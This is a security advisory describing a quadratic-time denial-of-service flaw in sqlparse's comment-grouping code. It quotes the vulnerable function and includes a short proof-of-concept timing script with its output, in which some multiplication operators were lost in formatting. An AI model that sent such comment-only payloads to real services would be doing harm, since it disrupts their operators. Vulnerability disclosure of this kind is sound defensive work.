GHSA-f2ff-p2ww-7p4p: Pip/sqlparse vulnerability

Summary A comment-only statement (-- c\nn) may cause a Denial of Service (DoS).

Details Location: sqlparse/engine/grouping.py:331-341 (groupcomments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, stripcomments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but groupcomments is O(n²):

python def groupcomments(tlist): tidx, token = tlist.tokennextby(t=T.Comment) while token: eidx, end = tlist.tokennotmatching( lambda tk: imt(tk, t=T.Comment) or tk.isnewline, idx=tidx) ... tidx, token = tlist.tokennextby(t=T.Comment, idx=tidx)

The while loop runs n times and each tokennextby / tokennotmatching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

1. groupcomments runs first in group() (grouping.py:439), before the groupmatching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAXGROUPINGTOKENS does not provide protection on this vector. 2. It sits on the primary sanitizer path: format(sql, stripcomments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC Tested using Python 3.14:

python import time, sqlparse for n in (1000, 2000, 4000): s = "-- c\n" n t = time.perfcounter() sqlparse.format(s, stripcomments=True) print(f"n={n:5d} format(stripcomments)={1000(time.perfcounter()-t):7.1f} ms")

Output:

n= 1000 format(stripcomments)= 106.0 ms n= 2000 format(stripcomments)= 403.3 ms n= 4000 format(stripcomments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact Denial of Service